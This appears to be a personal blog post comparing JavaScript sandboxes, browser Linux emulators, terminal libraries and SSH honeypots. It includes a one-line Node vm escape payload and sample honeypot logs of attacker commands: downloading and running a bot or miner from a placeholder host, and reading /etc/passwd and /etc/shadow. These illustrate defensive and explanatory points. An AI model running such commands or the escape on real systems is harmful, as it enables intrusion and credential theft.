GitHub avatar

Fox's Blog

Comparing Javascript Solutions For Linux Kernels Simulation

A deep analysis of Linux environnements recreations in Javacript/Typescript.

Every JavaScript sandbox, emulator, simulator and honeypot -- compared

So I've been waaaay too deep into this rabbit hole for a while now. It started because I was helping out with typescript-virtual-container -- a project by Fortune (more on her in a bit) -- and kept getting asked "wait, how is this different from v86?" or "why not just use vm2?" -- and I realized I couldn't give a clean answer without mapping the whole ecosystem first. So here we are I guess lol.

Turns out there are four distinct families -- JS sandboxes, Linux emulators, Linux simulators, and honeypots -- and they almost never overlap, even though they're constantly mentioned in the same breath. Someone building a plugin system reaches for isolated-vm. Someone demoing a CLI tool reaches for v86. Someone doing SSH threat intel reaches for Cowrie. They're solving completely different problems under the same vague umbrella of "running code in a box."

I spent a lot of time reading source code, CVE reports, architecture docs, and npm pages to write this. This is going to be looooong -- get a coffee, seriously. Or two.

Quick disclaimer: typescript-virtual-container is featured heavily in this article because it's what sparked this research. I've tried to be fair to everything else, but keep that context in mind.


Part 0 -- First, what problem are you actually solving?

Before diving in, it's worth being precise about what each family is for, because the terminology gets sloppy fast and people mix them up constantly (including me, before I sat down and actually mapped it out).

JS sandboxes isolate JavaScript code from the host Node.js process. The threat model is: untrusted JS code that could call process.exit(), read files, or spawn child processes. The solution is a boundary around V8 execution. These tools have no concept of a Linux shell, a filesystem with permissions, or SSH.

Linux emulators run a real, unmodified Linux kernel inside a CPU emulator (x86, RISC-V, OR1K) implemented in JavaScript or WebAssembly. You boot a real OS. You get real syscalls. You get binary compatibility with x86-compiled programs. The overhead is enormous.

Linux simulators fake the behavior of a Linux system without running a real kernel. They implement a shell interpreter, a virtual filesystem, and enough Unix semantics to fool programs and humans. No kernel. No Wasm. No CPU emulation. Much lower overhead.

Honeypots are built to attract attackers and record what they do. They're not primarily execution environments -- they're observability tools. Fidelity to real Linux behavior matters only insofar as it keeps the attacker from detecting the trap.

With that framing, here's where every project in this article lands:

JS sandbox:        vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linux emulator:    v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linux simulator:   typescript-virtual-container (unique in this space)
Honeypot:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Terminal stack:    xterm.js + node-pty (not an isolator, but adjacent)

Part 1 -- JavaScript sandboxes

1.1 vm -- the Node.js built-in (not what you think it is)

The oldest answer to "run untrusted JS" in Node is the built-in vm module. It's been there since v0.1, so a lot of people reach for it first -- and then get burned.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

What vm actually does: it creates a new V8 context (a fresh set of built-in constructors -- Object, Array, Function, etc.) and runs code in it, with a shared reference to whatever you put in sandbox. Your V8 engine doesn't change. Your process doesn't change. Memory is shared.

The reason vm provides no security: JavaScript's prototype chain is a DAG that connects everything back to Object.prototype. If you put any object from the host realm into the sandbox, the guest can climb up its prototype chain and reach host constructors. From Function, you can call Function("return process")() and recover the real process object. Game over. Like, immediately.

// This runs just fine in vm -- you get the real process object back
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

I mean, the Node.js documentation itself says: "The vm module is not a security mechanism. Do not use it to run untrusted code." This warning has been there foreverrr. People ignore it constantly. I've seen production apps use vm as a sandbox. Please don't do that xD

Verdict: a scope mechanism, not a sandbox. Use it when you need isolated variable scope (template engines, eval-like features where you control the code). Never for untrusted input.

Memory: negligible overhead -- same V8 heap as the host process.
Security: none against a motivated attacker.


1.2 vm2 -- the community attempt, and its very long death

vm2 was the community's answer to vm's escape problem. The core idea: wrap every object that crosses the sandbox boundary in a Proxy that intercepts property access, blocks prototype climbing, and filters out dangerous references. Clever idea in theory! Not so much in practice, as we'll see.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // throws VMError, process not accessible

For several years this worked reasonably well. But the attack surface of JavaScript Proxy is enormous. Every new JS language feature -- generators, async iterators, Symbol.toPrimitive, Error.prepareStackTrace, Promise internal slots -- is a potential bypass vector.

The CVE timeline is... something else. Like, look at this:

Date CVE Mechanism
Oct 2022 CVE-2022-36067 Error.prepareStackTrace host context escape
Apr 2023 CVE-2023-29017 Unhandled async error stack host object leak
Apr 2023 CVE-2023-29199 Exception sanitization bypass via handleException()
Apr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
May 2023 CVE-2023-32314 Proxy on Error.name → Function → RCE
Jul 2023 CVE-2023-37466 Async function + stack overflow + Proxy.getPrototypeOf
Jul 2023 CVE-2023-37903 Worker thread + eval escape

Three critical CVEs in the same month (April 2023). THREE. IN ONE MONTH. After CVE-2023-37903, the maintainer officially deprecated the library with the message: "The library contains critical security issues and should not be used for production."

The maintainer resurrected it in October 2025 with version 3.10.0, claiming to have fixed everything known at the time. A new critical escape (CVE-2026-22709, CVSS 9.8) was disclosed in January 2026, followed by a batch of eleven more in May 2026. Eleven. The pattern hasn't changed and honestly I don't think it ever will.

The fundamental problem is architectural -- and this is the lesson that took the whole ecosystem a while to learn. You cannot build a secure sandbox using the same language you're sandboxing, on the same engine, in the same process. The escape surface is the entire V8 implementation -- and V8 is several million lines of C++ that keeps changing. Every new JS feature potentially opens a new attack path.

Verdict: Do not use for security-sensitive applications. Even on the latest version, new bypasses are discovered every few months. The maintainer himself has acknowledged this openly.


1.3 isolated-vm -- the one that actually works

isolated-vm takes the correct approach: use V8's own isolation primitive, the Isolate. Each V8 Isolate has its own heap, its own garbage collector, its own set of built-ins, and zero shared references with other Isolates.

This is the same boundary Chrome uses between tabs. It's a real security boundary, not a language-level trick built on Proxy.

import ivm from "isolated-vm";

// Each isolate is its own V8 heap
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB cap
const context = await isolate.createContext();
const jail = context.global;

// Passing data across the boundary requires explicit serialization
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Can't reach host process, host heap, or host modules
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// You can hard-terminate on timeout or memory limit
isolate.dispose(); // frees the entire heap

The Reference and ExternalCopy types are the explicit communication bridge. A Reference gives the isolate a callable handle to a host function -- the isolate can call it but can't inspect its closure or prototype. An ExternalCopy serializes a value (structured clone) across the heap boundary. This explicit-bridge model is not convenient, but it's what makes the isolation real.

You can set hard resource limits: memory (the isolate is terminated if it exceeds the cap), wall clock timeout, and CPU timeout. The termination is real -- it kills the entire V8 Isolate, not just a JS timeout that can be bypassed with a while(true).

Limitations: it's JS-only. You cannot run bash inside it. There's no concept of files, permissions, network, or processes. It's exactly the right tool for user-submitted JS (plugins, formulas, script hooks), and the wrong tool for everything else. The author of typescript-virtual-container mentioned she considered it early on before realizing that "run shell commands" and "isolate JavaScript" are fundamentally different problems.

Memory: ~3–10 MB per empty isolate, grows with heap usage.
Security: strong. V8 Isolate boundary is the real isolation primitive.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- a separate JS engine compiled to Wasm

A different approach: instead of isolating within V8, run a completely separate JavaScript engine compiled to WebAssembly. The host runs in V8/Node. The guest runs in QuickJS-inside-Wasm. The Wasm sandbox provides the isolation boundary.

QuickJS is Fabrice Bellard's work again (the same guy behind QEMU, FFmpeg, JSLinux, TinyEMU -- this person is genuinely not real, like how does one person do all of this). It's a small, spec-compliant ES2023 JS engine written in C, and when compiled to Wasm it's only ~500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Runs in QuickJS, completely separate from V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS is a small, spec-compliant ES2023 JavaScript engine written in C. Compiled to Wasm, it's ~500 KB for the sync variant, ~1 MB for the async (Asyncify) variant. Memory management is manual -- every value you extract from the VM needs to be explicitly disposed, which is kinda annoying but prevents cross-boundary GC surprises. Fun tradeoff!

The @sebastianwessel/quickjs wrapper adds a more ergonomic API on top, with optional virtual filesystem, fetch support, and Node.js module stubs:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

The security model is different from isolated-vm: Wasm's linear memory model means the guest can't directly access V8 heap objects. The attack surface is the host↔Wasm interface (imports/exports), not the entire JS language. This is generally considered more robust than Proxy-based sandboxing.

The catch: QuickJS doesn't have the same optimization level as V8. For CPU-bound JS workloads, it's 5–20x slower than V8. For short snippets and untrusted eval, this usually doesn't matter.

Memory: ~500 KB Wasm module + heap per instance.
Security: Wasm boundary, considered stronger than Proxy-based approaches.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- permissions-first runtime

Deno takes a completely different philosophy: instead of sandboxing within Node, build a new runtime that is secure by default. I really like this approach -- it's what Node.js should have been from the start, honestly. Ryan Dahl (the original Node.js creator) literally made Deno because he regretted some Node.js design decisions, which is kinda wild when you think about it.

Every sensitive capability (file read, file write, network, env, subprocess) requires an explicit --allow-* flag:

# This can only read from /data, nothing else
deno run --allow-read=/data script.ts

# This can fetch only one domain
deno run --allow-net=api.example.com script.ts

# No flags = no permissions at all
deno run untrusted.ts # can't read, write, network, spawn

The permission model is implemented at the Rust/OS level -- it's not a JS trick. When Deno code calls Deno.readFile(), that goes through a Rust op that checks the permission table before touching the filesystem. You can't bypass it from JS because the syscall never happens if the permission isn't granted.

For running truly untrusted code, Deno Workers (Web Workers) provide a second isolate within the same process, each with its own permission set. You can spawn a worker with zero permissions and communicate with it via postMessage.

Deno 2 (released October 2024) added full npm compatibility and Node.js compatibility shims, which significantly improved its adoption for server-side use cases.

The tradeoff: Deno's security model is excellent for code you might trust partially. For completely untrusted code that could be adversarial, the permission model doesn't help -- you need an Isolate boundary (isolated-vm) or a different engine (quickjs-emscripten), because Deno still runs V8 and sophisticated attackers can find V8-level bugs.


1.6 TC39 ShadowRealm -- the standard answer (eventually)

The JavaScript standards body (TC39) has a proposal called ShadowRealm that attempts to standardize what vm and vm2 were trying to do, but with a correct security model. A ShadowRealm creates an isolated JS execution context with its own set of intrinsics, no access to the outer realm, and a carefully controlled import/export interface.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Separate intrinsics, no access to outer realm
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm is in browsers (Chrome 90+, Firefox 105+) but as of 2026 is not yet in Node.js stable. The TC39 Compartments proposal builds on it for module-level isolation. These are the long-term standardized answers, but they're not production-ready for server-side Node use cases yet. It's one of those things where you see it coming from miles away but it's just... not there yet. Classic TC39 xD


Sandbox family summary

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Isolation boundary none (scope only) Proxy (broken) V8 Isolate Wasm V8 Isolate + Rust perms
Memory cap ❌ ❌ ✅ hard limit ✅ Wasm heap partial
CPU timeout ❌ ✅ (bypassable) ✅ hard ✅ ✅
Security none broken strong strong strong
JS speed native V8 native V8 native V8 ~10x slower native V8
Browser ❌ ❌ ❌ ✅ ❌
Node compat native ✅ ✅ partial shims partial
Status stable risky (new CVEs) ✅ active ✅ active ✅ active
RAM overhead ~1 MB ~5–20 MB ~3–10 MB ~5–15 MB ~10–30 MB

The takeaway: if you care about security, there are exactly two real options -- isolated-vm (native addon, V8 Isolate, full JS speed) and quickjs-emscripten (Wasm, browser-compatible, ~10x slower for compute-heavy code). Everything else is either "please don't" (vm, vm2) or a runtime that solves a different problem entirely (Deno). ShadowRealm might change this picture eventually, but it's not there yet.


Part 2 -- Linux emulators in JavaScript

This is where things get really interesting to me. These are real emulators -- they implement a CPU instruction set in JavaScript or WebAssembly, boot a real Linux kernel image, and run real userland binaries. The isolation comes from the fact that the guest and host share nothing: different memory spaces, different instruction streams.

The price you pay is enormous, but the thing you get is genuinely remarkable: actual Linux, actually running, in your browser or Node process. Like, that's pretty insane when you think about it innit?

2.1 v86 -- x86 PC emulator in JS + Wasm JIT

v86 by Fabrice (copy on GitHub) is the most capable open-source x86 emulator in JavaScript. It started as a pure JS interpreter around 2013 and has evolved into a JIT-compiled system where x86 basic blocks are translated to WebAssembly on the fly, dramatically improving performance.

What it emulates:

  • CPU: x86-32 (IA-32), instruction set roughly at Pentium 1 level. No 64-bit (x86-64) support -- this is a hard architectural limit, not a missing feature.
  • FPU: via JavaScript's Float64Array. x87 is 80-bit extended precision; JS doubles are 64-bit. This means floating-point results can differ slightly from a real CPU.
  • Memory: configurable, maps to a SharedArrayBuffer or ArrayBuffer in JS heap.
  • Hardware: 8254 PIT (timer), 8259 PIC (interrupt controller), 8042 keyboard controller (PS/2), CMOS RTC, VGA with SVGA extensions and Bochs VBE, IDE controller, floppy controller (8272A), NE2000 network card.
  • BIOS: uses SeaBIOS (open source x86 BIOS).

The JIT works by identifying basic blocks (sequences of x86 instructions with no jumps), translating them to a WebAssembly function, caching that function, and calling it on subsequent executions of the same block. Hot code paths get native Wasm performance. Cold paths fall back to the JS interpreter.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Capture serial output (Linux kernel console)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Send input to the guest (type into the shell)
emulator.serial0_send("ls /\n");

Supported OS: Alpine Linux (excellent), Ubuntu 16.04/18.04 (i386 only), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (with caveats), MS-DOS.

Boot time: 15–40 seconds for Alpine Linux from a clean image. This is inherent to real kernel initialization -- you can't skip it. Yes, your users will be sitting there watching a kernel boot sequence in their browser. That's the deal xD

Memory floor: 100–256 MB per instance. The Wasm JIT code cache alone can reach tens of MB for a busy Linux instance.

Node.js use: fully supported. No DOM needed -- VGA output can be discarded if you only care about serial.

What you can't do: run 64-bit binaries, use modern kernel features (eBPF, io_uring, etc.), or run more than a handful of instances concurrently without hitting memory limits.

npm: v86 -- updated continuously, latest published within the last day as of writing.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux and TinyEMU -- Bellard's work, twice

JSLinux is Fabrice Bellard's own JavaScript Linux emulator -- the first one ever, published in 2011. I keep mentioning Bellard in this article because he just keeps showing up: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. The man is something else. Genuinely one of the most impressive solo technical contributions in software history, no exaggeration.

The original JSLinux was a pure JS x86 interpreter. In 2016, Bellard wrote TinyEMU (a RISC-V emulator in C), compiled it to JavaScript via Emscripten, and that became the basis for the current JSLinux. So the current JSLinux is actually C code that generates JavaScript -- not hand-written JS at all.

The technical notes on Bellard's site are worth reading: the current JSLinux runs a 32 or 64-bit RISC-V CPU (not x86), emulating VirtIO console, VirtIO network, VirtIO block device, and a 9P filesystem for file sharing with the host. The JS demo is compiled from C using Emscripten -- it's not hand-written JS.

TinyEMU itself supports:

  • RISC-V RV32IMAFDQC and RV64IMAFDQC (32 and 64-bit, with float, multiply, compressed instructions)
  • x86 via KVM (native only, no emulation -- so the JS version is RISC-V only)
  • VirtIO console, network, block, input, 9P filesystem

TinyEMU has a JavaScript demo provided via Emscripten. It's the base for JSLinux and also used by container2wasm (see section 2.5).

JSLinux status: no npm package, no programmatic API. It's a demo you open in your browser. Historical significance is high -- it proved the concept. Practical use as a library: none.

TinyEMU: not on npm, C source available at bellard.org/tinyemu.


2.3 jor1k -- OR1K emulator

jor1k is an OpenRISC 1000 (OR1K) emulator written in JavaScript by Sebastian Macke. It's interesting historically because jor1k introduced VirtIO 9P filesystem support, which Bellard later incorporated into TinyEMU and JSLinux. The cross-pollination between these projects is tight -- they all borrow from each other, which is honestly one of the coolest things about open source emulation work.

Status: not actively maintained anymore, no npm package. Archived at this point. Worth knowing about mostly for historical context -- like if someone brings up jor1k in conversation, now you know what it is :)


2.4 CheerpX -- commercial x86 emulator for the browser

CheerpX by Leaning Technologies is the commercial, production-grade x86 Linux emulator. It's not open source, but it's significantly more capable than v86 for running real Debian/Ubuntu userland. If you need actual VSCode in the browser, this is what you reach for.

Key differences from v86:

  • Supports a wider ISA (more x86 extensions, better glibc compatibility)
  • IndexedDB-backed filesystem in the browser (persistent across page loads)
  • pthread support via SharedArrayBuffer (which requires COOP/COEP headers -- yes those annoying security headers)
  • Designed for running VSCode, Python, Node.js, and other real applications -- not just minimal OS images
  • Professional support and SLA available (aka you can yell at someone if it breaks)

The typical use case is "run a real Linux application in the browser without a server." Companies use it for browser-based IDEs, coding tutorials, and interactive documentation.

// CheerpX API (simplified)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.js story: CheerpX is browser-first. The underlying emulator might theoretically work in Node (it's Wasm), but the API and documentation are oriented entirely toward browser use. Server-side use is unsupported.

Memory: similar to v86 -- 200+ MB for a real Debian instance.
Pricing: free for open source projects, commercial license for production SaaS.
Docs: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js in Wasm, not Linux emulation

WebContainers are often lumped with Linux emulators but are architecturally different. They don't emulate x86. They don't boot Linux. They run Node.js compiled to WebAssembly using WASI. This distinction matters a lot and I spent way too long confused about it myself lol.

I think the confusion comes from the marketing -- "run Node.js in your browser" sounds like emulation, but it's actually Node.js itself compiled to Wasm, not Linux emulation running Node.js inside a VM. Totally different thing.

The architecture:

  1. Node.js is compiled to Wasm (specifically a custom WASI runtime)
  2. A Service Worker intercepts network requests from the emulated Node.js server and routes them to the browser tab
  3. The filesystem lives in browser memory (no disk I/O)
  4. npm is a custom implementation optimized for in-browser use
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Write files
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Run Node.js commands
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Because it runs actual Node.js (Wasm-compiled), you get real npm, real Node.js APIs, and real module resolution. You don't get a general-purpose Linux userland -- you can't install system packages with apt, run arbitrary compiled binaries, or do much outside the Node.js ecosystem.

Browser requirements: SharedArrayBuffer (requires COOP/COEP headers), Service Worker support, modern Wasm.

Node.js story: designed exclusively for browser use. The API doesn't work outside a browser context.

npm: @webcontainer/api
Docs: webcontainers.io


2.6 container2wasm -- Docker containers compiled to Wasm

container2wasm is a tool (not an npm package) from NTT that takes a Docker container image and converts it to a WebAssembly binary that can run in any Wasm host -- including a browser. When I first saw this I genuinely did not believe it worked.

The mechanism:

  • For x86_64 containers: embeds Bochs (an x86 emulator, compiled to Wasm) + the container's root filesystem
  • For riscv64 containers: embeds TinyEMU (Bellard again!) + the container's root filesystem
  • The resulting .wasm file boots the emulator, mounts the container filesystem, and runs the container's entrypoint
# Convert Ubuntu 22.04 container to Wasm
c2w ubuntu:22.04 out.wasm

# Run it
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Or serve it for browser use
c2w --to-js ubuntu:22.04 /tmp/htdocs/

The resulting .wasm is large -- a minimal Ubuntu is several hundred MB -- but it's completely self-contained. You can email someone a .wasm and they can run Ubuntu in their browser. That sentence should not make sense but here we are.

GitHub: container2wasm/container2wasm


Emulator family summary

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Architecture x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (proprietary) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Real kernel ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
npm package ✅ ❌ ❌ CDN/API ✅ ❌ (CLI tool)
Node.js use ✅ ❌ ❌ ❌ ❌ (browser only) via Wasmtime
Browser use ✅ ✅ ✅ ✅ ✅ ✅
RAM/instance 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
Boot time 15–40s 10–30s 10–30s 15–40s 2–5s 10–40s
Open source ✅ ✅ ✅ ❌ partial ✅
Status ✅ very active ✅ stable ⚠️ archived ✅ commercial ✅ active ✅ active

The thing that jumps out from this table: v86 is the only one that's an npm package, runs in both browser and Node, and is open source. That's why it dominates the "JavaScript Linux emulator" conversation. Everything else has some catch -- JSLinux has no API, jor1k is archived, CheerpX costs money, WebContainers is browser-only and Node-specific, container2wasm requires a build step and a CLI. If you just need "boot Linux in JavaScript", v86 is almost always the right starting point.


Part 3 -- Terminal stacks: xterm.js and node-pty

Two packages show up constantly when people build shell-like experiences. They're not sandboxes or emulators -- they're the UI and PTY plumbing -- but they're so adjacent that I'd feel bad leaving them out. Also I've used both of them and they're really good.

3.1 xterm.js -- the terminal renderer

xterm.js is a terminal emulator for the browser. It renders a terminal screen (VT100/xterm escape sequences) in a <canvas> element, handles keyboard input, and exposes an API for piping data in and out.

Used by: VS Code's integrated terminal, Azure Cloud Shell, Proxmox VE, AWS CloudShell, and many others.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Send data to the terminal (rendered as text)
term.write("$ ");
term.onData(data => {
  // data is keystrokes -- send to your backend
  socket.send(data);
});
socket.onmessage(msg => {
  // output from backend -- display it
  term.write(msg.data);
});

xterm.js is the rendering layer only. It doesn't run a shell. It doesn't interpret commands. It's a display widget that you wire to whatever backend you want. A lot of people think xterm.js "does the terminal" but it's really just the screen -- you still need to connect it to something that actually runs commands.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- PTY spawning

node-pty spawns a pseudoterminal (PTY) in Node.js and gives you a read/write handle to it. Used with xterm.js, it lets you build a browser terminal that talks to a real shell (bash, zsh, fish) running on the server.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Send to browser xterm.js via WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Forward browser keystrokes to shell
  shell.write(data);
});

This is the standard pattern for cloud IDEs and web terminals: xterm.js (browser) ↔ WebSocket ↔ node-pty ↔ real bash. No isolation. The shell runs with the full permissions of the Node.js process (or whatever user runs it).

Maintained by: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Part 4 -- SSH honeypots

Honeypots are designed to be attacked. The goal is to look real enough that attackers interact with them, while recording everything they do for threat intelligence. SSH is the primary target because it's the most-attacked service on the internet -- if you expose port 22 on a public IP, you will see automated scanning attempts within literal minutes. Try it sometime, it's kind of horrifying how fast it happens.

The quality of a honeypot is measured by two things: fidelity (how convincingly it pretends to be a real system) and telemetry (how much useful data it captures). These are in tension. A high-fidelity honeypot is harder to build and riskier to operate.

This section is what eventually led me to build the HoneyPot module in typescript-virtual-container, so I have some opinions here.

4.1 Cowrie -- the gold standard

Cowrie is a Python-based medium-to-high interaction SSH and Telnet honeypot. It's the most widely deployed SSH honeypot in the research and security community.

Architecture:

  • Protocol layer: real SSH protocol implementation (Twisted Conch), so attackers get real handshakes, real key exchange, real authentication
  • Shell layer: a fake filesystem (resembling Debian 5.0) and a partial shell interpreter that responds to common commands
  • Proxy mode: can forward to a real system behind it (high-interaction mode), recording everything that flows through
  • LLM mode (recent addition): uses a language model to generate dynamic responses to commands it doesn't know how to handle -- yes, Cowrie now has an AI mode. Wild times.
# What Cowrie captures
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie saves downloaded files (via wget/curl/SFTP/SCP) for malware analysis. It integrates with Splunk, Elasticsearch, and other SIEM platforms.

Fidelity: medium-high. Convincing enough to fool automated bots (which is 99% of SSH attackers -- most of them are just dumb scripts trying root/password). Sophisticated humans can fingerprint it though, usually pretty quickly.

Language: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- Cowrie's predecessor

Kippo is the original medium-interaction SSH honeypot that Cowrie was based on. Same basic idea: real SSH protocol, fake filesystem, partial shell. Cowrie has completely superseded it at this point -- Kippo is archived and nobody should be running it in 2026. Mentioned here purely for historical completeness, since you might see it referenced in old blog posts and security papers.

GitHub: desaster/kippo -- archived


4.3 endlessh -- the SSH tarpit

endlessh is a degenerate honeypot: it keeps SSH connections open by slowly dripping banner data at 1 byte per second (or slower). An SSH client connecting to it will hang indefinitely -- it will never get to authentication because the server never finishes sending the banner.

The goal is not threat intelligence but pure resource denial: tying up attacker scanner threads so they can't hit real targets as fast. It's honestly kind of evil in the best way. You're not learning anything from the attacker -- you're just wasting their time. There's something deeply satisfying about that.

// endlessh's entire protocol behavior:
// Send: "SSH-2.0-OpenSSH_" then slowly append random chars
// Never close the connection
// Attacker scanner times out after N seconds

No commands are captured. No authentication is tested. Just connection time.

Written in: C
GitHub: skeeto/endlessh


4.4 sshesame -- the "let everyone in" honeypot

sshesame accepts every SSH connection (any username, any password, any key) and logs everything. It's a zero-interaction honeypot: it doesn't respond to commands, just lets attackers "in" and records every keystroke they type.

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

Useful for credential harvesting: you quickly accumulate the usernames and passwords that bots try, which tells you what default credentials are currently being actively brute-forced. Spoiler: it's always root/password, admin/admin, and root/123456. Every time.

GitHub: jaksi/sshesame


4.5 Lyrebird -- Docker-based honeypot framework

lyrebird/honeypot-base is a Docker base image for building network service honeypots. It's not an SSH honeypot specifically -- it's a framework for building any protocol honeypot.

The base image provides a logging framework, a plugin system for protocols, and Docker Compose setups for multi-service honeypots. You extend it to fake specific services.

Docker Hub: lyrebird/honeypot-base


4.6 Building an SSH honeypot in Node.js -- the naive way, and why it fails

Before typescript-virtual-container, building an SSH honeypot in Node.js meant combining the real ssh2 library with manual command faking. Very tedious, very incomplete, but like... it's a rite of passage at this point:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Log the attempt
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Let everyone in
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Fake response
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

This "works" in the sense that it captures credentials and commands. But it's obviously fake the moment a sophisticated attacker pokes at it. uname -a returning the right string but ls /etc returning "command not found" is a giveaway. The filesystem doesn't exist. Commands don't chain. Pipes don't work. Variables don't expand.

A skilled attacker will fingerprint your honeypot in the first five commands. Automated scripts that check for Cowrie-like behavior will also detect it immediately. This is apparently what pushed the typescript-virtual-container author toward building something that actually interprets commands for real -- more on that in Part 5.


Honeypot family summary

Cowrie Kippo endlessh sshesame Lyrebird Naive ssh2
Interaction level medium-high medium zero zero varies low
Real SSH protocol ✅ ✅ ❌ (tarpit) ✅ varies ✅
Shell fidelity medium medium n/a none varies minimal
Captures credentials ✅ ✅ ❌ ✅ ✅ ✅
Captures commands ✅ ✅ ❌ ✅ varies ✅
Captures malware ✅ ✅ ❌ ❌ ❌ ❌
SIEM integration ✅ native ❌ ❌ ❌ ❌ manual
LLM responses ✅ (new) ❌ ❌ ❌ ❌ ❌
Language Python Python C Go Docker Node.js
Node.js native ❌ ❌ ❌ ❌ ❌ ✅
Status ✅ very active ⚠️ archived ✅ active ✅ active ✅ active DIY

The pattern here is pretty clear: the more fidelity you want, the more Python you have to write. Cowrie is the clear winner if you're doing this seriously -- it's been battle-tested for years and captures way more than credentials alone. endlessh and sshesame are fun side projects more than serious threat intel tools. And the naive Node.js approach gets you maybe 20% of the way there before you hit a wall.


Part 5 -- typescript-virtual-container: what fills the gap

OK so here's where things get interesting. After cataloguing all the families above, the missing quadrant becomes pretty obvious:

  • JS sandboxes: isolate code, no shell, no filesystem, no SSH
  • Linux emulators: real OS, real shell, real SSH... but 150+ MB RAM, 30-second boot, and you need to build your own API on top of serial I/O
  • Honeypots: fake shell, no programmatic API, Python/Go/C, not Node-native

Nobody had built a complete, programmatic, Node-native Linux environment with real SSH, real permissions, real virtual networking, and a typed TypeScript API. So she built it.

